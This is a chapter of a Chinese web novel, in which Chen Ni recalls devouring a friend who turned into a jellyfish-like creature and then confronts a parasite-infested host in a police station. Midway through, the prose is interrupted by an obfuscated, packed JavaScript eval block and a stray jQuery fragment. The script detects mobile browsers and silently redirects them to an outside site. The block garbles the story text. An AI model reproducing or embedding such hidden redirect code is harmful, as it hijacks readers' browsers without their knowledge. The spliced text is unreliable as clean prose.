9. 深渊09

作品:《穿在末日来临前

    夜色深沉,警察局大厅,一阵急促的脚步声打破了寂静。


    格子男的家人穿着皱巴巴的睡衣匆匆赶来,彼此紧紧相拥,又哭又笑,满脸都是劫后余生的泪水。


    宋知站在一旁,淡然挥手示意:“带他回去吧,好好休息。”


    在确认他只是个倒霉的路人后,做完一切手续,宋知就通知了他家人来接他。


    陈溺坐在大厅一角的沙发上,眼巴巴地看着他被簇拥着离开。


    她垂下眼帘,强压住心中翻涌的阵阵涟漪,旁边的万淮和尤里早已瘫倒在另一张沙发上,睡得死沉,鼾声大到像拖拉机一样震天响。


    万淮终于得到了苦苦追寻的姐姐消息,而尤里则是个没心没肺的外国佬,嘴角还挂着一串晶莹剔透的口水。


    可她不一样。


    爸妈虽各自再婚,却都还住在梧山市,离她不过几条街的距离。


    可细算起来,她有多久没见过他们了?一年?两年?


    呵,连一通电话都没打过。


    记忆里,初中时的家幸福美满,直到一场意外——哥哥为了救她溺水身亡。


    一切都开始慢慢变了,从痛心到愤怒,再到埋怨,不过短短一个月。


    一个家散了,也不过几张薄薄的诉讼书,她咬牙撑了下来,好在身边还有周晓晓和许知安陪着,她告诉自己不必在意。


    可如今,发小失踪,竹马惨死,她成了真正的孤家寡人。


    或许她真是他们口中的灾星吧。


    不一会儿,整齐划一的脚步声传来。


    “踏踏踏———”


    一队装备精锐的队伍集结完毕,宋知和罗扶低声交谈几句后,各自带人离去。


    眨眼间,警局只剩下几个值班民警,世界陷入一片寂静,唯一的声响是不远处饮水机时不时“咕嘟”的吐水声。


    陈溺仰头倒在沙发上,盯着天花板刺眼的白炽灯,思绪开始翻涌。


    尽管宋知说过,这一切都源于纳瑞集团实验室的泄漏,可仍解不开她心中的疑惑。


    短短十小时内,居然发生了这么多匪夷所思的事。


    预知画面中将许知安丢下去的人是谁?缺失的记忆又藏着什么秘密?是谁在冒充自己?为什么说她是重要样本?


    这一切宛如被迷雾笼罩,背后仿佛有一双无形的手在操控一切。


    而她,则是漩涡中心。


    想到这儿,就是一阵头疼,她揉了揉太阳穴,闭上眼试图理清思绪。


    突然。


    “簌簌——”


    不远处角落传来一阵细微的窸窣声。


    陈溺微微皱眉,她警觉地站起身,看向声音的来源。


    空气中突然飘来一股浓烈的香味,甜腻中带着一丝腥气,像是新鲜的水果混合着臭鱼烂虾的味道。


    她喉咙一紧,一种莫名的饥饿感从心底升腾而起。


    这感觉……似曾相识。


    她的脚步不由自主地被那香味牵引,大脑一片混沌,理智逐渐瓦解,而沙发上的两人浑然不觉,睡得跟死猪一样。


    越靠近,香味愈发浓郁,恍惚间,记忆被拉回那个夜晚——


    …


    好想吃掉他。


    她被蛊惑地凑近,唇齿贴上他的耳廓,含住的瞬间,把她刺了一个激灵,就像舔了一口冰块。


    好冷。


    陈溺退却,脑子清醒了一瞬。


    这时,许知安轻笑一声,他一手揽过陈溺的肩,另一手扶住她的腰。


    然后,他扬起雪白的脖颈,主动将她揽入怀中,轻声道:“别急,都是你的。”


    陈溺一口咬上他的脖子,冰冷的触感瞬间被一股温热取代,血液在唇齿间流淌,带着一丝淡淡的甜腥味。


    那股香气仿佛从他的身体深处散发出来,浓郁得几乎让她窒息。


    好香啊!


    她的大脑一片空白,身体却本能地渴求更多,像是被某种原始的冲动驱使,完全失控。


    许知安喉结滚动,手依旧稳稳地扶着她的腰,他轻声笑道:“这么饿?”


    这声音像一盆冷水泼下,陈溺猛地回神,一把推开他,踉跄后退两步,眼中满是不解和疑惑。


    她完全不明白自己为什么会这样。


    许知安的脖颈上赫然出现一道极深的齿印,蓝色液体从中缓缓渗出,在光线下反射出油润润的光泽。


    蓝…蓝色的血?!


    “这是……”陈溺迟疑地擦了擦嘴角残留的液体,低头一看,确实是蓝色。


    “晓晓的异化速度太快了。”许知安低语,身上开始浮现淡淡黑斑。


    他神情痛苦,却仍故作轻松地笑着:“我尽力阻止了,可……”


    说话间,他的手开始软塌塌地垂下,像煮熟的粉丝一样,从指尖开始逐渐变得晶莹剔透,表皮之下血管里都是蓝血。


    “你…”陈溺语塞,被吓得连退两步。


    “那个东西太厉害了,我重伤了他…”许知安艰难地朝她走近,五官开始凹陷,露出里面空洞洞的躯干。


    “对不起…我已经尽力了。”他有些难过地垂下头。


    夜色下,他彻底异化,淡淡的月光透进他的头部,只见一层透明的薄膜包裹着里面粉红的大脑,身下变成无数条半透明的触手,在草丛间野蛮生长,乍一看像一只巨型水母。


    视觉上带来的极大冲击力让她感到恍惚,眼前的一切就像是在做梦一样。


    她难以置信地闭了闭眼。


    再次睁开时,眼神骤变,陈溺突然像换了个人似的。


    她叹息一声,走上前,双手捧起那张面目全非的脸,由衷地赞叹道:“好孩子。”


    仿佛浑然不觉他的模样有多恐怖,整个脑袋表面光滑透明,里面那颗粉红的大脑一闪一灭,像是在回应她。


    “谢谢你。”


    话落,她的掌心伸出无数红线,猛地扎进他的躯体,如大树的根须般,游走在血肉之间。


    “唔!!!”


    许知安难耐地疯狂挣扎,触手狂乱鞭打在树干上,发出“簌簌”的响声,树叶如暴雨般飘落。


    然而不过一瞬,他仿佛被吸干了水分,渐渐变回人形,脸色青紫,安静地躺在陈溺怀中,就像睡着了一样。


    随后,陈溺轻柔地抱起他,离开了这里。


    …


    什么鬼?!她脑子出问题了吧!


    陈溺猛地回神,浑身冒冷汗,她怎么…可能会吃了他呢?


    而且,人怎么会变成水母啊?!简直跟恐怖片一样!


    “咕噜——”巨大的吞咽声将她从混乱的思绪中惊醒。


    定睛一看,眼前的一幕宛如地狱之门,血红的丝线爬满了墙壁、天花板和地板,像是身处某个大型生物的口腔,脚底传来粘粘的触感。


    她艰难地拔出脚,鞋子却牢牢粘在原地,她环顾四周,几乎眼前的所有人脸上都爬满了血线虫。


    艹!!!


    转头一看,只剩沙发上那两个继续睡着的傻子没有动静,周围的血线虫蠢蠢欲动,但又仿佛在忌惮着什么。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237551|166177||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这一幕让她想起面对人脸猫时的场景,显然,沙发上还有她的气息。


    这些东西在怕她。


    估计刚刚的回忆是真的,她吃了许知安!所以它们才会怕她!


    呕——


    一想起来,陈溺就觉得一阵反胃,更涌起强烈的伤感。


    许知安是个很温柔的人,而且很有耐心,如果不是因为他的家庭,他早该拥有更好的未来,而不是烂在这座小城。


    陈溺强迫自己冷静,大声呼喊:“罗扶!尤里!!”


    她冲回沙发旁,见两人还在呼呼大睡,怎么摇都不醒,她顿了顿,立马扇了他们每人两个重重的耳光。


    “啪啪!!”没成想,脸都扇红了,他们依旧毫无反应,完全昏死过去。


    该死!看来这东西能迷惑人。


    陈溺咬牙,尽管知道血线虫怕火的弱点,可眼下遍地都是,除非把警局点了。


    她一时束手无策,她突然想起许知安,同样的香味,那有没有可能…她也能吃掉它?!


    只能赌一把了!


    环顾四周,她有些无从下手,既然这些虫子寄生于生物体内,那它们肯定有宿主。


    得先找到他!


    陈溺将外套脱下,盖在两人身上,这东西撑不了多久,她得尽快。


    她一步深一步浅地到处搜寻——


    这间没有。


    这间也没有。


    找了半天,直到转角的厕所,她发现了端倪。


    这里的血线虫比其它地方成倍增长,铺天盖地的红,乍一看像是欢迎光临的红毯。


    走近一看,门口被一层半透明的膜包裹,看起来像血肉中的筋膜,地上堆满了尸骨,血腥味直冲鼻腔。


    不知为何,她却觉得这味道…很香。


    目光四处搜寻,半响,她从墙角消防设施里拿出一瓶灭火器,猛地朝洞口喷去。


    白雾弥漫,门口的封膜被冻硬,她一拳打破,然后壮着胆子钻进去,光线突然昏暗,像进入了鲸鱼的胃袋。


    眼前赫然出现一堆像是被各种残肢断臂拼成的肉柱,顶端竟长着一颗头——是吴斌。


    “居然还有人送上门来。”


    陈溺心头一紧,还没等她反应过来,四面八方猛地伸出无数触手,瞬间卷住她的双腿,将她凌空提起。


    慌乱间,她将手里的灭火器猛地砸过去,却被轻而易举地躲开。


    吴斌不屑嗤笑:“区区人类。”


    “唔!!!”她挣扎着,双手奋力撕扯身上的触手,但都无济于事。


    她尝试像回忆里那样,却发现怎么都唤不出丝线,触手越勒越紧,窒息感逐渐包裹全身,她感到呼吸困难,视野开始模糊。


    最终,她失去了意识。


    猩红的触手倒吊着她,高举在吴斌嘴边,鼻头紧贴着皮肤耸动,他的头从中心裂开,变成一张大口,里面长着一圈圈利齿。


    “呼呼——”他兴奋地发出嗡鸣声,舌头甩来甩去,涎水四溅,“好香!好香!舍不得!舍不得!”


    “先嗦脑壳!!一定要先嗦脑壳!脑浆是最补的哈哈哈!”


    舌头竖起排排倒刺,直接朝她脖子袭来,似乎是想直接摘下来。


    就在千钧一发之际,陈溺兜里捡来的钥匙亮起淡淡的蓝光。


    下一秒。


    她抬起头,面无表情,眼帘半垂,如神佛般,看不清喜怒。


    “真是贪婪…那就成为我的养分吧。”


    话落,掌心红光大盛。